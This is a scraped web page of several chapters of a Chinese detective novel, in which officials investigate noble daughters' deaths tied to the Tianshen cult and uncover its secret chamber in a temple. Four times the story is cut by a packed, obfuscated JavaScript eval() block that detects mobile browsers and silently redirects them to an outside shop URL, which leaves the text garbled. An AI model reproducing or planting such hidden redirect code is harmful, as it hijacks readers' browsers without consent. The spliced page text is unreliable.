;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14538779|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始就承认,会影响我的声誉,我才说谎的。” “这么说,你也信天神教?” “我不信,我只是无意间得到了一些天神教的雕像,觉得雕得挺好看的,就保存了几个。后来我又得到了天神教的一些书籍,上面记载了这些神灵的故事,我才有更深入的了解。我曾经试图向曲离侯府的两位姑娘,还有诚安伯府的两位姑娘介绍天神教,并给她们雕像,但她们都拒绝了。” 云水谣问:“既然你不信,为何要介绍给别人?” “我听说,有许多无知少女接触了天神教之后,就疯狂地爱上了这些伪神。我也希望她们几个能爱上这些天神,这样就会退出选秀,不跟我争了。” “你可知,天神教的教义鼓励少女自尽,说这样就能嫁给天神?” “我知道啊,但不会有人信这种鬼话吧?如果真信了,那就是傻子,一个傻子还活在这个世上干什么?” 曲离侯夫人怒道:“你说什么?!” 她的两个女儿很可能是因为天神教而死的,现在褚娇娇说相信天神教教义的都是傻子,曲离侯夫人自然不能接受。因此,她虽是长辈,却也对褚娇娇口出恶言。 褚娇娇又是不解,又是委屈,对曲离侯夫人道:“夫人,您这么凶做什么?我又没说你女儿。我说的是为天神自尽的那些少女。” 曲离侯夫人还想说什么,但因太过生气,反而什么都说不出来。曲离侯觉得她这样有些失态,就把她往自己身后拉了拉,示意她别说话。 云水谣盯着褚娇娇,问道:“你真的只是希望她们几个爱上天神,而不是为了嫁给天神而自尽?” 褚娇娇道:“当然了,正常人都不会相信只要自尽就能上天,嫁给天神吧?这种鬼话,听听就得了。我只是觉得,这些伪神的雕像雕刻得十分精美,如果杜家姑娘和孟家姑娘总是观看的话,说不定会爱上雕像的脸,虽然知道雕像是假的,但也难以自拔,没法嫁给其他男人。” 听褚娇娇这么说,她似乎并不想那四个女孩自尽,而是想用精美的雕像影响她们的心神,让她们沉迷雕像,没法再爱上其他男人。 而且,这四个女孩实际上并未将雕像收下。那么,褚娇娇的话和七彩的话就矛盾了。 云水谣对褚娇娇说道:“据杜虹衣的丫环七彩所言,这些雕像确实是你给两位杜小姐的。” 褚娇娇冲到七彩面前,恶狠狠地说:“七彩,你说什么?你不要污蔑我!” 七彩害怕地往后一缩:“褚小姐,奴婢只是实话实说……是您跟两位小姐说了天神教的事,也是您将雕像给她们。她们经常偷偷祭拜雕像,后来还自尽了。此事您至少有一半责任。” 褚娇娇怒道:“什么?你这死丫头,简直颠倒黑白!我是曾经跟你家小姐说过天神教,也把雕像给她们看过,但她们根本不信,也没有接受我给的雕像。谁知道她们房中的雕像是哪来的,你不要污蔑我!” 101.笔迹 七彩急得哭了,似乎被褚娇娇的气势给吓到了,不敢再说什么。 曲离侯说道:“褚小姐,您在我家吓唬我家的丫环,未免太过分了吧?” 褚娇娇道:“杜侯,分明是你家丫环污蔑我在先,我不过是反驳几句而已!这个七彩,我平时看她挺老实的,怎么瞎话张口就来,该不会是失心疯了吧?反正,我跟杜府两位小姐之死没有任何关系。” 因褚娇娇和七彩各执一词,还需进一步调查,云水谣让人把她们俩都带回了衙门。 褚娇娇大喊大叫,不肯配合。云水谣身边有个女护卫徐二妞,上前擒拿住了褚娇娇,将她带走。徐二妞是女孩,此举不算冒犯。 云水谣对曲离侯道:“侯爷,此事还需继续调查,本官会尽快给个结果。” 曲离侯拱手道:“辛苦云大人了。” 云水谣吩咐几个衙役去褚娇娇家里,搜查她的房间,看有没有跟天神教相关的物件。 接着,她带着其他下属们回了衙门。路上,她捋了捋思路: 首先,要确定几位死者是不是因天神教而死的。 其次,要搞清楚七彩和褚娇娇谁的话是真的,并弄清楚几位小姐房中的伪神雕像是何处得来。 第三,是要剿灭天神教。 第四,是要找出真正的幕后主使。还有几个细节需要注意,一是几位小姐的姻缘树被烧,二是她们听闻豆子价格上涨,都有些惊慌。最终的真相,一定是能合理解释这两个细节的。一旦不能解释,说明还未发现真正的真相。 过了半个多时辰,云水谣便回到了衙门。 她还需要等待杜羽那边的调查结果。 没过多久,杜羽也回来了,他那边的调查结果也跟云水谣十分相似,主要有这几点: 诚安伯府的两位小姐也曾经关心过豆子的价格,得知豆子价格上涨,也十分惊恐。 杜羽也怀疑过她们是否参与了赌博,赌的是豆子的价格。但查看她们的账目后,发现账目并没有问题,所以赌博一事应该不太可能。 她们的姻缘树也被烧了。 在她们的房中,也发现了几尊天神教的伪神像,且都保存得很好。 诚安伯府大小姐的丫环青叶,也说这几尊雕塑是武陵侯千金褚娇娇所送。 更为离奇的是,诚安伯府的两位小姐,竟然也打听过杜羽是否从马上摔倒受伤了。得知杜羽受伤,她们的反应跟曲离侯的两位小姐一样,也是惊恐。 云水谣问道:“这真是奇了,诚安伯府的两位小姐为何忽然打听你是否受伤呢?” 杜羽道:“我也不明白。我跟诚安伯府的关系较远,还未曾拜访过他家。按理说,他家的两位小姐就算知道我是她们的远亲,也不会一开口就打听我是否摔伤。” 试想一下,某个人有个远房亲戚,当他想起这个亲戚时,第一反应不是关心他几岁、现在在哪里、做什么工作、成亲没有,而是关心他是否从马背上摔下来。 这就不是一个正常的思维。诚安伯府的两位小姐怎么想起问这个呢? 云水谣问道:“诚安伯府的两位小姐是向谁打听这件事的?” 杜羽道:“刚才我在诚安伯府,询问他们家的两位小姐生前可有什么异常举动。其中一个下人说,两位小姐问过豆子的价格,得知豆子涨价数倍,竟十分惊恐。另一个下人说,在数日之前,两位小姐曾向他打听,我是否曾摔下马背。那个下人去马场打听,得知我摔伤了,回去告诉两位小姐。可两位小姐并未打算来瞧我,或是打发人来问我的伤情,而是只露出惊恐的表情,然后就没说什么了。” 云水谣皱眉道:“你受伤这件事,究竟有什么好怕的呢?如果说,她们是怕你受伤太严重,所以很担心,为何不亲自来看你,或是打发人来给你送药?而且,她们和你的关系,还远没有到互相关心的程度,恐怕你和她们对面见到,也未必认识。” 杜羽道:“确实如此。这四名死者,同时对我受伤这件事表示出惊恐,我实在百思不解。莫非有什么事情,是我受伤之后就不能做的,而那件事情偏偏非常要紧,甚至关系到她们的性命?” 云水谣道:“这倒是个合理的解释,可怎么会存在这样的事呢?你纵然受伤,也是能处理公务的。就算武功暂时打了折扣,你身边不缺武功高强的侍卫,也足以保护她们。如果她们的生命真的遭受威胁,为何不直接来找你求助,而是害怕了一会就算了?” 柳依依站在一旁,闻言说道:“属下有一种猜测,不知道对不对。” 云水谣道:“你说吧,至少能提供一种思路。” 柳依依道:“我想,那几位死者未必是因为杜长史受伤这一件事才开始感到害怕。也许追究其根源,在于安正则公子眼盲一事。” “这话怎么说?” “安公子眼盲,还差点被诬陷为百尺楼的密使,这是几个月前才发生的事。当时,就连顾刺史、太子殿下,都被卷进这桩阴谋里,差点被一锅端了。这件事闹得沸沸扬扬,几位死者应该有听说过。也许,在这几位姑娘心里,会觉得靠近太子非常危险,容易被算计。而她们家里人又要送她们去选秀,所以她们一直很不安。 而杜长史骑马摔伤,虽然是意外,但几位小姐得知后,也许会觉得是人为,是有人要害死杜长史。而害死杜长史的原因,大概是因为杜长史也亲近太子,除掉杜长史就等于断了太子臂膀。这样,她们就愈发认为,跟太子走得近的人都没有好下场,就连安公子、杜长史这样的人物都会受伤,何况她们几个弱女子。 一旦她们成为太子侧妃,下场会如何?故而,她们听见杜长史受伤,才会如此惊恐。” 云水谣道:“这个解释,倒也说得通。” 杜羽道:“我觉得有些牵强。曲离侯府的两个姑娘是亲眼见到我瘸腿,才露出惊恐的表情的。但诚安伯府的两个姑娘非常奇怪,她们在没有听到任何风声的情况下,主动打听我是否坠马受伤。她们为什么会产生问这个问题的想法呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14549172|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳依依道:“这一点,我也想不明白。” 杜羽道:“而且,她们因为害怕成为太子侧妃会遭人算计,就干脆自尽了?这怎么也说不通。首先,她们未必会入选。第二,就算入选,离被算计还远得很,没必要提前担忧。第三,她们只是普通的闺阁千金,听见有人坠马,肯定只关心对方的伤势,而不会联想到坠马一事是否有人在幕后操控。这种思维,是经常断案的官员才会有的。” 柳依依道:“杜长史所言有理,我不过是胡乱猜测。” 杜羽道:“大胆猜测很重要,我虽然提出这些疑点,但不代表你的猜测一定是错的。也许,继续调查下去,这些疑点都会有一个合理的解释。” 云水谣想了想,道:“现在确认死者的死因很重要。目前主要有以下几个推断:第一,她们是相信了天神教,为了嫁给天神才自尽。两位妹妹因为不想死,或是不敢自己动手,所以才由姐姐亲手掐死。第二,她们是因为即将选秀,产生竞争心理,所以做姐姐的杀了妹妹,但两位姐姐又因为愧疚而自尽了。第三,她们是怕成为太子侧妃,会被人算计,但自己的名字已经被报上去了,无法更改,所以因害怕而自尽。” 几人讨论了一回,都倾向于第一种,也就是天神教害死的她们。 这时,派去搜查褚娇娇房间的衙役们回来了,他们呈上许多雕像和书籍:“回大人,我们在褚大小姐房中发现了十一具雕像,雕刻的都是不同的伪神,看来她已经把天神教的伪神都集齐了。这些书籍记载着这些伪神的事迹,也挺全面的。” 云水谣翻了翻,发现确实有好几个雕像刚才没见过。看来这褚娇娇真的很喜欢英俊的雕塑,竟把所有的伪神雕塑都买齐了。那么,她跟天神教的勾连一定很深。 这些书籍也有厚厚一沓,上面详细记载了每一位天神的事迹,当然,都是编的。不得不说编这些故事的人很厉害,云水谣翻看这些书籍,都忍不住多看几页。虽然心知是假的,但自己只当是看话本了。 杜羽也拿了一本翻看,道:“有这些书籍倒方便很多,可以根据书籍里的字迹,追踪是何人所写。” 云水谣道:“如果没有怀疑范围的话,只凭字迹去找人,无异于大海捞针。” 杜羽道:“不然。这些书上的字迹娟秀柔和,一看便知是女子所写。而且这上面用了许多成语、典故、生僻字,却无一错漏,可见编书之人文化水平很高。那么,作者的范围就不会太大。要么是有条件读书识字的富贵人家的千金,要么是经常跟文字、书籍打交道的从业者,比如出版、印刷行业。” 衙役道:“我们还从褚大小姐的房中发现了她平时练的字,觉得这些字跟书籍上的字差不多,但也不能确定,还请两位大人看看。” 云水谣、杜羽拿过褚娇娇练字的字帖,发现褚娇娇的笔迹确实跟这些天神教书籍一致。 云水谣惊道:“难道这些书籍是褚娇娇所编?她年纪轻轻的,总不可能是天神教的教主吧?” 102.服毒 杜羽道:“未必是她所编,很有可能是她抄录回来的。天神教要把这些伪神的事迹流传出去,就需要很多书籍。天神教连教主在内,一共只有五个高层,全部由这五个高层来抄书是不可能的。应该是这几个高层负责编书,编好后,给普通信众传阅。如果有特别喜欢这些故事的信众,可以自己抄录回去,原书肯定不能给信众,要留在教内。 至于天神教的教主,自然不可能是她,年纪对不上。” 云水谣点头道:“杜长史言之有理。” 他们先将这些证物收好,一会盘问褚娇娇。 杜羽道:“武陵侯千金的话,跟七彩、青叶两个丫头有所矛盾,必然有一方在说谎。目前先审问武陵侯千金,得知更多天神教的信息,才是最要紧的。” 于是,他们先让人把武陵侯千金褚娇娇带上公堂。 杜羽坐在主位,是主审。云水谣坐在一侧作为陪审。 以褚娇娇的身份,可以见官不跪,站着回话便可。但她不愿站着,非要坐下。 对这位娇气又摆谱的大小姐,云水谣也是很无奈了。这个要求肯定不能答应,从没有见谁是坐着受审的。 杜羽道:“褚姑娘,你现在是嫌疑人,所以只能站着。若确定你无罪,下次来这里做客,自然可以坐着。” 褚娇娇不服道:“谁说我是嫌疑人?都说了那几尊雕像不是我给死者的!我是曾经向她们介绍天神教,但她们都不信,也不接受我给的雕像。” 杜羽道:“传丫环七彩、青叶到堂。” 两个丫环到了堂上,都说四名死者房中的雕塑确实是褚娇娇给的。 褚娇娇骂道:“你们两个死丫头,竟敢污蔑我,信不信我打死你们?” 杜羽一拍惊堂木:“大胆!公堂之上,岂容你喊打喊杀?” 褚娇娇急得跺脚,又狠狠瞪了那两个丫头一眼。 杜羽又询问两个丫环:“你们说这些雕像是褚小姐给你们家小姐的,可有确实证据?” 两个丫环都道:“是奴婢亲眼所见,但其他证据是没有的。” “还有其他人看见吗?” “没有,只有奴婢看见。” 云水谣和杜羽对视了一眼,都从对方眼中看到了不确定。褚娇娇委屈暴躁的模样看着不像作假,但这副模样要装出来也是很容易的,稍微有点表演天赋就行。七彩、青叶两个丫头看着处于弱势,但也存在诬告的可能。不能因为她们比较弱小,就一味地相信她们。 杜羽朝云水谣使了个眼色,示意她来问。云水谣命人将褚娇娇房中搜出的东西呈上来,问褚娇娇:“这些东西可是你的?” 褚娇娇看了一眼,有些生气:“你们怎么能搜我屋子?” “这么说,这些天神教的神像、书籍真是你的?” “没错,那又怎样?” “你是如何接触到天神教的?你的雕像、书籍又是何人所送?” 褚娇娇不说话。 云水谣一拍惊堂木:“褚娇娇,你若不说,就以天神教同党论处。” 褚娇娇赶紧说道:“我不是同党!这些东西是我奶娘带给我的。” 云水谣对衙役道:“去传唤褚小姐的奶娘到堂。” 衙役们领命而去。 云水谣又问道:“褚小姐,这些天神教的书籍,笔迹都是你的,这是怎么回事?这些书是不是你所写?” 褚娇娇道:“不是,这些书只是我抄录的。奶娘之前给我看过这几本书,我说能不能留下这些书,我很喜欢。奶娘说,因为这些书难以印刷和在市面上流通,所以每一本都很珍贵。如果我想要,就得抄录一份,她手上这份要还给别人。” “她可有提过这些书和雕像是谁给她的?” “没有。她说天神教有规定,不能对自己的下线说出上线是谁。” “那你也没追问?” “没问,这对我来说不重要,只要书好看、雕像好看就行。反正我也不打算信天神教,这些雕像就当是漂亮的玩偶了。” “你得知天神教的教义和故事后,除了跟四位死者说过以外,是否向其他人传播?” “没有,我本来就不能算是信徒,之前跟四位死者说,也是为了让她们爱上这些雕像而已,但没有成功。我不会主动去发展新信徒。” 褚娇娇所说的,旁边的小吏都一一记下。接着云水谣、杜羽便等待褚娇娇的奶娘孙氏到来了。 等了许久,衙役们竟带回一具尸体,回禀道:“禀大人,奶娘孙氏已服毒自尽,我们只好将其尸体带了回来。” 云水谣、杜羽均是十分吃惊。 云水谣问道:“武陵侯府这么多人,奶娘孙氏是如何避开众人耳目服毒的?” 衙役道:“我们问了武陵侯府的下人,他们说,今日衙役传唤褚大小姐去问话,褚大小姐跟奶娘说了几句话便离开了。然后奶娘孙氏就回了自己房间,不让人打扰,其他下人也就不敢进去。刚才我们去传唤奶娘孙氏时,下人们才发现她房门反锁,呼叫她没有人回应。我们只好破开房门,发现奶娘孙氏已服毒了。我们看见她时,她还有气,但马上就断气了。” 云水谣叫仵作验尸,证实奶娘是服毒而死,且没有挣扎痕迹,应该是自己服毒的,死亡时间应该有一个时辰左右了,刚好是衙役们一来一回的时间。 云水谣问褚娇娇:“今日你跟衙役出门时,就偷偷嘱咐奶娘,如果有差人来传唤她,她就即刻自尽,是不是?” 褚娇娇叫道:“冤枉啊!我怎会叫自己的奶娘自尽?我只是说,她最近太过劳累,让她回房歇着,我去去就回。” 褚娇娇虽然如此辩解,但云水谣还是觉得很可疑。 褚娇娇刚说天神教的东西是奶娘给她的,奶娘就死了,线索从此中断,也没法根据这条线去深入调查天神教了。 时机怎么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14566521|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么巧? 云水谣吩咐将奶娘孙氏的尸体抬下去,并将褚娇娇收监。 接着,她看向七彩、青叶两个丫环:“你们确定自己说的话全部属实吗?你们是奴婢,状告贵族,如果是诬告,是要罪加三等的。” 七彩、青叶很肯定地说道:“属实,那些伪神的雕像就是褚大小姐给我们小姐的。” 云水谣观察了一下她们的表情,感觉不像作假,就吩咐衙役先把两个丫环收监,然后退堂。 退堂后,云水谣和杜羽来到后堂,继续商议。 云水谣道:“杜长史,你觉得两边谁更可疑?” 杜羽道:“我觉得两边似乎都没那么简单。先说褚娇娇这边,如果她真的只是天神教的一个普通信众,且是她奶娘传.教给她,那她和她奶娘都属于从犯,罪责不大。而且让几位死者自尽的那些雕像,也未必是褚娇娇给她们的,几位死者也未必是被天神教骗死的。只要查清,褚娇娇罪责不大。褚娇娇如果心里没鬼,为何会暗示自己的奶娘自尽?” 云水谣问道:“杜长史也觉得,奶娘孙氏是被褚娇娇暗示自尽的?” “如果奶娘孙氏没有身怀什么秘密,她大可以大大方方地来到公堂,承认是自己传.教给褚娇娇,并说出自己的上线是谁。只要配合调查,剿灭天神教的功劳也有她一份,她不至于自尽。而根据武陵侯府的下人所言,今日褚娇娇出门时,曾经对奶娘孙氏说过什么话。我猜,她说的话大概是:如果有差人上门找奶娘,就代表自己这边已经招供了,线索必须断在奶娘这边,所以奶娘一见到差人上门,便要立即自尽。” 云水谣点头:“此番推测有如亲见,我也是这么想的。褚娇娇表面上咋咋呼呼的,但这也许只是她的伪装。” 杜羽道:“正是。她能想出把伪神的雕像给那四位死者,让那四位死者爱上雕像,从而不参加选秀的主意,可见她胸有城府,并非表面上那么粗枝大叶。虽然这个计策没有成功,但足以证明,她很在意这次选秀,并会为了选秀,偷偷使一些手段。再说七彩、青叶这两个丫环这边,她们很笃定地说,死者房中的雕像就是褚娇娇给的,但又没有其他证据。再加上,四位死者死亡之时,只有这两个丫头在侧,所以也值得怀疑。” 云水谣道:“我看,现在应该全力剿灭天神教,俘虏其高层。那四名死者房中的雕像,如果不是褚娇娇给的,那必然是别人给的。只有抓到天神教的高层,才有可能问出是谁给她们的。万一是别人,那褚娇娇的罪责就没那么大。” 元景佑一直站在一边听着,此时插嘴道:“雕像会不会就是七彩、青叶两个丫头放的?” 云水谣灵光一闪:“没错,她们是几位死者身边的重要丫环,要把一些物件放进自家小姐房中,是非常容易的。只是,如果真的是她们,她们怎么能这么笃定地污蔑褚娇娇?一旦查清褚娇娇是无辜的,那她们就属于奴隶诬告贵族,罪加三等。” 103.高层 这个问题,众人也没有答案。 她们又讨论了一会,得出共识:现在必须尽快剿灭天神教。 云水谣叫来那个对天神教很了解的小吏,让他把天神教的所有卷宗都调出来。 那姓葛的小吏把卷宗拿来后,云水谣和杜羽一卷一卷翻看。云水谣问那小吏:“你所了解的天神教的事,是否有什么要补充的?你一边说,我们一边看卷宗就是。卷宗上字太多了,一时半会看不完,还是听你说快一些。” 姓葛的小吏道:“基本的情况都已经跟两位大人说了,不过还未说天神教敛财的手段。除了高价卖雕像外,她们还鼓励信徒捐款,说是捐得越多,天神越能注意到她们。因此,很多没什么钱的女人,甚至走上了民间借贷的路。而这些从事民间借贷的人,也是天神教的党羽,被官府抓到一些,如今是没这么猖獗了。” 云水谣道:“看来,她们敛了不少财。这些钱财可有缴获?” “只缴获了一部分,天神教总部应该还有更多。” “那些自尽的女信徒,可能查到上线是谁?” “查不到,每次都是案子发生后,我们去受害者家中,只能看见死去的受害者,并搜出一些天神教的书籍、雕像等物。询问她们的家人,家人也不清楚。” “这些雕像出自何人之手?可有根据这个线索去查?” “查了,并非是出自普通雕刻匠人之手,应该是天神教自己所雕。这种东西如果明目张胆地交给外面的匠人去做,很快就会被官府发现的。听说天神教教主会雕刻,可能全部是她所雕。” 云水谣把缴获的所有雕像反复观看,觉得雕刻方法一致,应该是出自同一人或同一师门之手。 杜羽道:“若所有的雕像都是教主一人所雕,那雕像的数量肯定不会太多。” 小吏道:“确实如此。每个受害者家中,一般都只能找到一两个雕像。” “那褚娇娇家里有十一个雕像,就有些可疑。” 云水谣道:“会不会是褚娇娇有钱,所以买下了这么多雕像?” 杜羽道:“有钱是一回事,这东西的数量本身就不多,她还要集齐每一个天神,难度是很大的。而且,她家里关于那些天神事迹的书籍,也非常全面,涵盖了每一个伪神。如果她的奶娘只是普通的信众,应该没法弄到这么多。所以,她或者她的奶娘,应该不是普通信众,而是跟天神教有较深的关联,甚至是天神教的高层。” 云水谣惊道:“那褚娇娇和她的奶娘,究竟是谁跟天神教牵连较深?” “她奶娘都死了,你说呢?” 杜羽的话,已经说得很明白了。 所以,褚娇娇的身份没那么简单。 云水谣问那小吏:“天神教的高层可有什么信物?比如令牌之类的。” “据说每次集会时,主持集会的执事都会身穿黑衣,手持教主令。教主令是一块黑色的菱形令牌。” “你可能画出来?” “我并未亲眼见过,只是听别人说起过,只能画个大概。” “无妨,你先画吧。” 那小吏便拿过纸笔,在纸上画了一块黑色的令牌。令牌不大,但上面却有一幅山水画,看着挺精巧的,真正的令牌一定雕工复杂,可见这个天神教教主的技艺确实不错。 云水谣看了看,对元景佑道:“你去武陵侯家查查,是否有类似的令牌。” 元景佑拿了图纸便去了。 云水谣正准备休息一下,却见一个穿着天蓝色圆领袍、身材瘦长的少女风风火火地闯了进来。 一进来,她就找了个位置坐下,拿起桌上的茶壶,给自己倒了茶,往嘴里猛灌。 云水谣和杜羽留神看去,见这少女正是孟荀,难怪如此不客气。 云水谣道:“你慢点喝。你怎么这么快就来了?” 之前杜羽虽然飞鸽传书通知孟荀,但估摸着孟荀还得再过几日才到。 孟荀道:“我听说这里出了事,便骑了汗血宝马过来,所以几日便赶到了。” 汗血宝马日行六百里,比寻常马匹快了很多。只是这种马比较高大难骑,想必孟荀连日骑来,吃了不少苦。 她并未像以前那样跟云水谣开玩笑,而是有几分忧虑地问道:“我那两位堂妹的尸身在何处?” 云水谣知道她说的是孟芳茵、孟芳茹姐妹,也就是诚安伯府两位死去的小姐。 她对孟荀说道:“尸体都在冷库里放着,我带你过去。” 孟荀顾不上休息,去冷库见了自己两位堂妹的尸体,悲伤不已。 她问云水谣:“可有查出凶手是谁?” 云水谣便把连日来查案所得的线索,简单告诉了孟荀。 孟荀道:“被天神教欺骗导致自尽?我觉得这不太可能。正常人谁会相信自己自尽就能嫁给天神啊?” 云水谣道:“正常人是不会,但若已经沉迷于那些伪神的雕像,说不定就会相信。” “七彩、青叶那两个丫头没问题?” “也许有问题,但目前还不能断定。孟芳茹、杜霓裳两位姑娘,是被其姐姐掐死;孟芳茵、杜虹衣两位姑娘,是自己自尽,这一点是毫无疑问的。事发时虽只有两个丫环在,但她们并未动手。” 孟荀道:“我去审问一下那两个丫环。” 云水谣便让衙役带孟荀去两个丫环的牢房。 半个时辰后,孟荀回到客厅,心情有些不好。她审问了一番,也没问出什么新东西来。 云水谣道:“无妨,我们等等元景佑那边的消息。” 这会已是黄昏时分,她们便先吃了饭。 吃完饭后,孟荀跟云水谣聊天,说了自己这段时间发生的一些事。聊着聊着,天色便黑了,元景佑也回来了。 元景佑道:“大人,我们已仔细搜了多遍,并未在武陵侯府发现教主令。” 云水谣皱眉:“莫非之前的猜测错误?褚娇娇并非是天神教的核心人物?” 杜羽道:“也许教主令只有一块,平时放在教主那里,几位高层要去主持集会时,才会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14578384|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从教主那里拿。” 云水谣道:“也有这种可能。” 元景佑道:“我已带回褚大小姐身边的丫环、仆人十余人,她们平时是近身伺候褚大小姐的,大人可以问问她们。” 云水谣觉得元景佑十分聪明,总能多想几步,因此心中对他十分满意,便冲他一笑。 元景佑见到她的笑容,呆了一呆,随即略微低头,脑海中全是云水谣的笑颜。 杜羽看着他们的互动,眼眸微微压低,也不知道在想什么。 云水谣重新回到公堂上,提审褚娇娇身边的奴婢,问道:“常跟你们大小姐出门的是哪几个?” 其中四个丫环走上前来,道:“我们常跟着大小姐出去的。” “平时她外出时,可有甩下你们,去别的地方?” “没有。” 她们回答得太快了,而且眼神躲闪,云水谣觉得,也许她们没说实话。 云水谣便说道:“本官在查一件要紧的案子,必须知道你们大小姐的确切行踪。如有提供有效线索者,全家免去奴婢身份,成为良民,且赏赐白银百两。” 这个条件的诱惑力很大,有几个丫环似乎想说什么,又被旁边之人拉了拉袖子,好像在示意她们别说。 云水谣等了一会,发现她们还是不愿意说什么。 这时,杜羽开口道:“褚娇娇行为不端,已被天神厌弃。如有包庇她的,便是背叛天神。” 几个丫环十分害怕,纷纷说道:“我们愿说出实情。” 云水谣十分惊喜,看了杜羽一眼,杜羽有些得意地扬了扬眉毛。 云水谣有些奇怪,为何杜羽能令这些丫鬟说实话。但回过头一想,褚娇娇既然熟知天神教的事,说不定会向身边的丫环传.教。这些丫鬟可能早就被洗.脑严重,爱上了天神。褚娇娇只需要说,自己是天神内定的天妃,忠心于她的下人,将来到了天界,也会受到她的提携,让天神多多关照她们。 虽然原话未必是这样,但也大差不差。所以,这些丫鬟自然不会背叛她。 杜羽正是想到了这一点,所以才故意那样说。丫鬟们生怕被天神厌弃,自然愿意说实话。 只听这些丫鬟说道:“大小姐经常去寒照寺抄经,她抄经时,会关上房门,不许我们进去。每次她都会在里面待上一两个时辰。” 云水谣问道:“你们有听见她抄经的声音吗?” “我们隔得较远,没听见什么声音。” 云水谣决定带人去寒照寺看一看。寒照寺香火鼎盛,来往之人甚多,如果在这里选一间房作为天神教的聚会之所,既方便,又不易察觉。 于是,云水谣带上这些丫鬟,一起往寒照寺而去。 来到寒照寺,山门已经关了。元景佑去扣门,说明来意,僧人不敢阻拦,赶紧让云水谣等人进去。 寒照寺占地很广,屋宇众多,鳞次栉比。一眼望过去,许多屋子的外形都差不多。 云水谣问那些丫环:“你们大小姐平时抄经的屋子是哪一间?” 104.密室 “在第三进院落左起第四间。” 在丫环们的带领下,云水谣找到了那间屋子。 乍一看,这就是一间普通的禅房。元景佑熟知一些机关,在墙壁、地面仔细摸索。 过了一会,他转动一个花瓶,地板中间自动打开,底下似乎有楼梯,可以拾级而下。 元景佑道:“大人,底下有密室。” 云水谣道:“进去看看。” 元景佑拿了一个火折子,率先往下,道:“大人,您跟在我身后。” 云水谣正准备下去,杜羽忽然想到了什么,对身边的孟荀道:“阿荀,你去通知方丈,集结所有僧人在客堂,不许遗漏一人。” 孟荀虽然不明白为什么,但也知道表哥从来不会乱说,因此只是点了点头,就按照杜羽的吩咐去做了。 云水谣问道:“为何要集结所有僧人?” 杜羽道:“底下这间密室,很有可能是天神教秘密聚会之所。她们能把这里作为密室,而一直不被发现,可见寺庙之内必有其内应。如果此时不集结所有僧人,只怕那内应得知风声,会逃跑。” 云水谣这才明白,她感慨杜羽的细心和机智,觉得自己还是有很多地方需要学习。 很快,一行人便来到了地下的密室。 这密室不大,最多能容纳二十人。 密室的角落里有个柜子,打开柜子,里面是一身黑衣,还有一个黑色的面具。另外,还有几尊天神像和几本书籍,但并不全。柜子里还有个上了锁的小盒子,需要钥匙才能打开。 元景佑所带的宝剑非常锋利,他直接一剑削掉了锁,打开小盒子,里面是一块黑色的令牌,正是天神教的教主令。 杜羽道:“看来之前猜测得没错,教主令只有一块,放在集会处,哪位执事来主持集会,就使用这里的黑袍、面具和教主令,离开之后把东西原样放好。” 云水谣展开拿黑袍,试着披到自己身上,觉得有些宽大。 云水谣道:“这身黑衣有点大,对褚娇娇来说可能也不合身。” 杜羽道:“天神教的执事不止一人,这一身黑衣应该是各位执事都能穿,所以做得大些,适合不同的体型。” 云水谣道:“我们虽然找到这间密室,但褚娇娇也可以否认自己是天神教的高层。她可以说自己来此只为了参加集会,自己只是普通信众。” 对于这个问题,众人一时没有主意。 这时,孟荀在上面喊他们:“喂,快上来!有情况!” 云水谣等人赶紧上去。 只见孟荀有几分焦急道:“方才我叫方丈召集寺内所有僧人,发现少了一人。” 云水谣问道:“少了谁?” “少的就是刚才给我们开门的那个僧人,他叫天明。” 云水谣想了想,道:“原来如此。天神教在此处的内应就是天明。他负责把守山门,那么一旦有官府之人过来,他立刻就能知道。一旦情况不妙,也方便他逃跑。他果然很聪明。” 孟荀道:“我已叫衙役分头去追了,只是无人看见他往哪个方向跑了,每个方向都只能派出几个衙役去寻找。” 云水谣想利用自己听得懂动物说话的能力,因此飞快地往外跑去,没有跟在场之人说什么。 元景佑虽不明白她为什么跑出去,但也紧紧跟随。 云水谣听见后面的脚步声,知道是元景佑跟着,所以也不回头,直接来到山门处。 